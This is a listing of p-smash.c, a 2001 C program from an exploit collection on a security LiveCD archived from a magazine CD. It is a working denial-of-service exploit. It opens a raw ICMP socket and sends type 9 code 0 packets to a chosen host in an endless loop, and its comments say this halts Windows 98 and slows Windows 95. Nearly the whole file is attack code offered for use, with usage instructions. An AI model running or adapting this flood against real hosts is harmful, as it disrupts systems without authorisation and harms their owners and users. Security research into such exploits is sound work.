home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / p-smash.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  164 lines

  1. /*
  2.  * p-smash.c
  3.  *
  4.  * Author:
  5.  *     Paulo Ribeiro <prrar@nitnet.com.br>
  6.  *     Rio de Janeiro, RJ, Brazil - January, 2001
  7.  *
  8.  * Results:
  9.  *     While running this program, the target system will be halted or
  10.  *     will get too slow.
  11.  *
  12.  * Message from ipchains:
  13.  *    Jan 26 17:42:22 host kernel: Packet log: input ACCEPT eth0 PROTO=1
  14.  *    192.168.0.2:9 192.168.0.1:0 L=84 S=0x00 I=33619 F=0x0000 T=64 (#5)
  15.  *
  16.  * Systems affected:
  17.  *     Microsoft Windows 95 - slows down
  18.  *     Microsoft Windows 98 - halts
  19.  *     Any other?
  20.  *
  21.  * Why:
  22.  *     Seems that Microsoft Windows 98 can't handle with a ICMP packet with
  23.  *     type 9 and code 0.
  24.  *
  25.  * Yes, you can modify and redistribute this program, but keep my name on it.
  26.  */
  27.  
  28. #include <errno.h>
  29. #include <netdb.h>
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <string.h>
  33. #include <unistd.h>
  34. #include <sys/time.h>
  35. #include <sys/param.h>
  36. #include <sys/socket.h>
  37. #include <sys/file.h>
  38. #include <netinet/in.h>
  39. #include <netinet/ip.h>
  40. #include <netinet/ip_icmp.h>
  41. #include <netinet/in_systm.h>
  42.  
  43. #define    MAXPACKET    4096
  44.  
  45. int s;
  46. int ident;
  47.  
  48. struct sockaddr whereto;
  49.  
  50. void send_pkt(int argc, char *argv[]);
  51.  
  52. int main(int argc, char *argv[])
  53. {
  54.     char *hostname;
  55.     char *inet_ntoa();
  56.     char *toaddr = NULL;
  57.     char hnamebuf[MAXHOSTNAMELEN];
  58.  
  59.     struct sockaddr_in *to = (struct sockaddr_in *) &whereto;
  60.     struct hostent *hp;
  61.     struct protoent *proto;
  62.     
  63.     if (argc != 2)
  64.     {
  65.         fprintf(stderr,"Usage: %s <hostname>\n", argv[0]);
  66.         exit(1);
  67.     }
  68.  
  69.     bzero((char *)&whereto, sizeof(struct sockaddr));
  70.     to->sin_family = AF_INET;
  71.     to->sin_addr.s_addr = inet_addr(argv[1]);
  72.     if (to->sin_addr.s_addr != -1)
  73.     {
  74.         strcpy(hnamebuf, argv[1]);
  75.         hostname = hnamebuf;
  76.     }
  77.     else
  78.     {
  79.         hp = gethostbyname(argv[1]);
  80.         if (hp)
  81.         {
  82.             to->sin_family = hp->h_addrtype;
  83.             bcopy(hp->h_addr, (caddr_t)&to->sin_addr, hp->h_length);
  84.             hostname = hp->h_name;
  85.             toaddr = inet_ntoa(to->sin_addr.s_addr);
  86.         }
  87.         else
  88.         {
  89.             printf("p-smash: unknown host %s\n", argv[1]);
  90.             exit(1);
  91.         }
  92.     }
  93.  
  94.     ident = getpid() & 0xFFFF;
  95.  
  96.     if ((proto = getprotobyname("icmp")) == NULL)
  97.     {
  98.         fprintf(stderr, "p-smash: icmp: unknown protocol\n");
  99.         exit(1);
  100.     }
  101.     if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
  102.     {
  103.         perror("p-smash: socket");
  104.         exit(1);
  105.     }
  106.  
  107.     setlinebuf(stdout);
  108.  
  109.     printf("Sending packets to %s... ", hostname);
  110.     fflush(stdout);
  111.  
  112.     for (;;)
  113.         send_pkt(argc, argv);
  114.  
  115.     exit(0);
  116. }
  117.  
  118. void send_pkt(int argc, char *argv[])
  119. {
  120.     static unsigned char outpack[MAXPACKET];
  121.     struct icmp *icp = (struct icmp *) outpack;
  122.  
  123.     int ntransmitted = 0;
  124.  
  125.     icp->icmp_type = 9;    // here
  126.     icp->icmp_code = 0;    // it is
  127.     icp->icmp_seq = ntransmitted++;
  128.     icp->icmp_id = ident;
  129.     icp->icmp_cksum = in_cksum(icp, 64);
  130.  
  131.     sendto(s, outpack, 64, 0, &whereto, sizeof(struct sockaddr));
  132. }
  133.  
  134. in_cksum(unsigned short *addr, int len)
  135. {
  136.     register int nleft = len;
  137.     register unsigned short *w = addr;
  138.     register unsigned short answer;
  139.     register int sum = 0;
  140.     unsigned short odd_byte = 0;
  141.  
  142.     while (nleft > 1)
  143.     {
  144.         sum += *w++;
  145.         nleft -= 2;
  146.     }
  147.  
  148.     if (nleft == 1)
  149.     {
  150.         *(unsigned char *)(&odd_byte) = *(unsigned char *)w;
  151.         sum += odd_byte;
  152.     }
  153.  
  154.     sum = (sum >> 16) + (sum & 0xffff);
  155.     sum += (sum >> 16);
  156.     answer = ~sum;
  157.  
  158.     return(answer);
  159. }
  160.  
  161. /*
  162.  * p-smash.c: EOF
  163.  */
  164. /*                   www.hack.co.za  [5 March 2001]*/